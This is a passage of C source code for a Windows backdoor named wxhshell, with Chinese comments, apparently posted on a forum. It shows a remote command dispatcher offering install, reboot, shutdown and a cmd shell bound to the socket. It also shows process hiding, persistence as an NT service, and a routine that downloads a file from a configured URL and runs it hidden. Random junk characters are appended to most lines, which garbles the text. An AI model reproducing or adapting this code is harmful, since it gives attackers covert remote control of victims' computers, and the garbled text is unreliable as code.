W$Op/  
    switch(cmd[0]) { }"6 PM)s  
  .%x%(olf  
  // 帮助 ,2Q5'!o  
  case '?': { |&AZ95v   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b' fcWp0  
    break; uN9J?j*ir  
  } gEkH5|*Y  
  // 安装 )]3_o!o  
  case 'i': { +L|-W9"@3  
    if(Install()) dNT<![X\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$\/HO  
    else 5PPaR|c3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rtZEK:.#  
    break; }MW+K&sIh  
    } >A ?,[p`<  
  // 卸载 P8n |MN  
  case 'r': { ]T1\gv1~  
    if(Uninstall()) (Kb_/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3&KRG}5  
    else Wr;9Mz&{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _j}jh[M  
    break; /DoSU>%hK  
    } R 9b0D>Lxt  
  // 显示 wxhshell 所在路径 @"O|[%7e  
  case 'p': { Vl%UT@D|  
    char svExeFile[MAX_PATH]; 0artR~*}  
    strcpy(svExeFile,"\n\r"); #-8%g{  
      strcat(svExeFile,ExeFile); QpiA~4  
        send(wsh,svExeFile,strlen(svExeFile),0); 2OsS+6,[x  
    break; GtpBd40"  
    } kKz>]t"A  
  // 重启 rIQ%X`Y  
  case 'b': { }}gtz-w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (e _l1O?  
    if(Boot(REBOOT)) S$NJmXhx5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KK, t!a  
    else { uG=~k O  
    closesocket(wsh); pmgPBiU>  
    ExitThread(0); bO+]1nZ.  
    } %abc -q  
    break; ;2[o>73F  
    } \/F*JPhy  
  // 关机 KuZZKh  
  case 'd': { #&K?N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;C,t`(  
    if(Boot(SHUTDOWN)) P`AW8Y6o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,C0D|q4/!.  
    else { vq:?a  
    closesocket(wsh); @Io@1[kj  
    ExitThread(0); bkFO4OZd  
    } B ,U|V  
    break; z^u*e  
    } uP$C2glyz  
  // 获取shell -S7i':  
  case 's': { sQBKzvFO3  
    CmdShell(wsh); 1 RVs!;  
    closesocket(wsh); ag6[Nk  
    ExitThread(0); uSUog+i  
    break; z-_$P)[c  
  } .~X&BY>qP  
  // 退出 E?S  
  case 'x': { OM?FpRVU8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \1<8'at  
    CloseIt(wsh); {Kz!)uaC  
    break; 'Lh nl3  
    } :QIf0*.O  
  // 离开 QXEz  
  case 'q': { Cs2kbG_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -f["1-A  
    closesocket(wsh); eI98J"h%?  
    WSACleanup(); B*:W`}G]_c  
    exit(1); ( 'Ha$O72  
    break; iLQ;`/j  
        } 2=7:6Fw  
  } U#:N/ts*(  
  } sKC(xO@L;`  
Cd|rDa  
  // 提示信息 F},kfCFF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r4Xaa<  
} <[vsGUbc  
  } Oj '^Ww m  
Kx02 2rgDU  
  return; cN`P5xP'  
} +/ ?oyC+Z  
+V;d^&S  
// shell模块句柄 mc4|@p*  
int CmdShell(SOCKET sock) 1BSn#Dnj  
{ T?CQgVR  
STARTUPINFO si; m[ER~]L/C  
ZeroMemory(&si,sizeof(si)); mbHMy[R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sl`?9-_[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `4wy *!]  
PROCESS_INFORMATION ProcessInfo; SgkW-#  
char cmdline[]="cmd"; LI>Bl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -$I$zo  
  return 0; -@Z9h)G|  
} H(kxRPH4@]  
{LT2^gy=  
// 自身启动模式 ? M.'YB2  
int StartFromService(void) uK0L>  
{ mR$0Ij/v  
typedef struct !QC ErE;r  
{ qB+OxyT&  
  DWORD ExitStatus; E:;MI{;7  
  DWORD PebBaseAddress; SeuDJxqopD  
  DWORD AffinityMask; loUZD=Ph  
  DWORD BasePriority; /Mj|Px%  
  ULONG UniqueProcessId; b>]UNf"-  
  ULONG InheritedFromUniqueProcessId; (yoF  
}   PROCESS_BASIC_INFORMATION; +0%Y.O/{  
ng9 _c  
PROCNTQSIP NtQueryInformationProcess; jI~$iDdOfs  
c *i,z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >8&fFq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l;@bs  
1GPBqF  
  HANDLE             hProcess; 93 =?^  
  PROCESS_BASIC_INFORMATION pbi; >h.HW  
~du U& \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OTNI@jQ)  
  if(NULL == hInst ) return 0; v^ v \6uEP  
j%}9tM6[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %'VzN3Q5V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OGO\u#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F I~=A/:  
_C19eW'  
  if (!NtQueryInformationProcess) return 0; uo ;m  
iiWpm E<,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rC_saHo>#R  
  if(!hProcess) return 0; U }I#;*F  
`fl$ o6S/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X~/-,oV=A  
d(9-T@J  
  CloseHandle(hProcess); cucT |y  
1H-~+lf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1=e(g#Ajn\  
if(hProcess==NULL) return 0; 8~T=p:z'  
b|iIdDK  
HMODULE hMod; Aj(y]p8  
char procName[255]; b$- g"F  
unsigned long cbNeeded; F!w|5,)  
s#8T46?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s(e1kk}"  
Nq|y\3]  
  CloseHandle(hProcess); L\!Oj5  
K@Xj)  
if(strstr(procName,"services")) return 1; // 以服务启动 1&vR7z]*  
tu/4  
  return 0; // 注册表启动 qE VpkvEq  
} "xn,'`a  
AYfe_Dj  
// 主模块 >/NegJh'F}  
int StartWxhshell(LPSTR lpCmdLine) T0.sL9  
{ W|(<z'S  
  SOCKET wsl; &}K%F)S  
BOOL val=TRUE; D-O{/  
  int port=0; zMM ~4?4  
  struct sockaddr_in door; ;0NJX)GL  
`:jF%3ks+0  
  if(wscfg.ws_autoins) Install(); #r1y|)m`  
:nfy=*M#  
port=atoi(lpCmdLine);  *I}_g4  
P0U&+^W"9  
if(port<=0) port=wscfg.ws_port; ^NM>x Ienf  
?^LG>GgV  
  WSADATA data; @;KvUR/+FE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;%cW[*Dw  
ZwiXeD+4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2=%]Ax"R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Og8%SnEpMI  
  door.sin_family = AF_INET; UPPlm\wb*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Og?GYe^_  
  door.sin_port = htons(port); kV8qpw}K  
!f}D*8\f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bgp%hK  
closesocket(wsl); 6E(..fo:"  
return 1; 2L51 H(  
} Hw6 2'%  
l)'*jZ  
  if(listen(wsl,2) == INVALID_SOCKET) { Z|)1ftcC  
closesocket(wsl); q-,`\ TS  
return 1; _'^_9u G  
} ;lt8~ea  
  Wxhshell(wsl); DbtkWq%  
  WSACleanup(); U!E}(9 tb  
n-,mC /4  
return 0; 2OqEyXh  
7) a f  
} tCA0H\';  
P^U.VXY}  
// 以NT服务方式启动 }([}A`@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ml!c0<  
{ K$r)^K=s  
DWORD   status = 0; Md8<IFi9]Q  
  DWORD   specificError = 0xfffffff; {.DY\;Q  
+oHbAPs8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %|>D{q6C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y^;izM}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $Zkk14  
  serviceStatus.dwWin32ExitCode     = 0; +Hp`(^(  
  serviceStatus.dwServiceSpecificExitCode = 0; 3Wx\Liw,  
  serviceStatus.dwCheckPoint       = 0; (.L?sDQ</z  
  serviceStatus.dwWaitHint       = 0; ] ;CJ6gM~  
}OTJ{eG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]\k& l ['  
  if (hServiceStatusHandle==0) return; x3.,zfWs  
IYH4@v/#  
status = GetLastError(); TmM~uc7mj  
  if (status!=NO_ERROR) h~z}NP  
{ _+~&t9A!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <s$T7Zk  
    serviceStatus.dwCheckPoint       = 0; \w(0k^<7  
    serviceStatus.dwWaitHint       = 0; 0"ooHP$1  
    serviceStatus.dwWin32ExitCode     = status; w ykaf   
    serviceStatus.dwServiceSpecificExitCode = specificError; wjgFe]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dca,IaT'  
    return; L =M'QJl9  
  } bD|VT  
D(&WEmm\B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; joZd  
  serviceStatus.dwCheckPoint       = 0; o)DO[  
  serviceStatus.dwWaitHint       = 0; $j v"$0Fc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W/~q%\M {  
} |`{$Ego:  
\=&Z_6Mu  
// 处理NT服务事件,比如:启动、停止 s B^ejH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eV }H  
{ Nw-U*y  
switch(fdwControl) !- 5z 1b)  
{ {LCKt/Z>P  
case SERVICE_CONTROL_STOP: r}:U'zlC{  
  serviceStatus.dwWin32ExitCode = 0; m| 7v76(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NLxR6O4}8  
  serviceStatus.dwCheckPoint   = 0; VwK7\j V  
  serviceStatus.dwWaitHint     = 0; 0($On`#  
  { *~b~y7C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U)Tl<l<  
  } 0[N1SY\lj  
  return; Ae"|a_>fMI  
case SERVICE_CONTROL_PAUSE: zqZ/z>Gf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i*A_Po  
  break; @e$EwCV,  
case SERVICE_CONTROL_CONTINUE: YIb7y1\UM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >$=l;jO`n  
  break; {G<1.  
case SERVICE_CONTROL_INTERROGATE: YRd`G3J  
  break; K,*-Y)v2W  
}; . NxskXq)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kX:1=+{xg  
} giW9b_  
T, PN6d  
// 标准应用程序主函数 u|D L?c>W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MIWc @.i2  
{ s vS)7]{cU  
}"v#_vJfz7  
// 获取操作系统版本 EV-# E  
OsIsNt=GetOsVer(); 5 [4{1v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zvdIwV&oT  
W%o! m,zFM  
  // 从命令行安装 ltNY8xrdGN  
  if(strpbrk(lpCmdLine,"iI")) Install(); PpF`0w=1%l  
dk]A,TB*2  
  // 下载执行文件 ,wv>G]v  
if(wscfg.ws_downexe) { %afF%y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x;LO{S4Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); t\Qm2Q)>  
} s ;]"LD@  
u^WZsW  
if(!OsIsNt) { jyidNPLm4  
// 如果时win9x,隐藏进程并且设置为注册表启动 1' dZ?`O  
HideProc(); Be<bBKQb  
StartWxhshell(lpCmdLine); 7;] IlR6  
} !0):g/2h  
else wnQi5P+  
  if(StartFromService()) zN-Y=-c  
  // 以服务方式启动 WH fl|e  
  StartServiceCtrlDispatcher(DispatchTable); lEb H4 g  
else E33x)CP  
  // 普通方式启动 ) M(//jX  
  StartWxhshell(lpCmdLine); aQzmobleep  
yD8Qy+6L  
return 0; .SSPJY(  
}
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只看该作者 1 发表于: 2006-10-10
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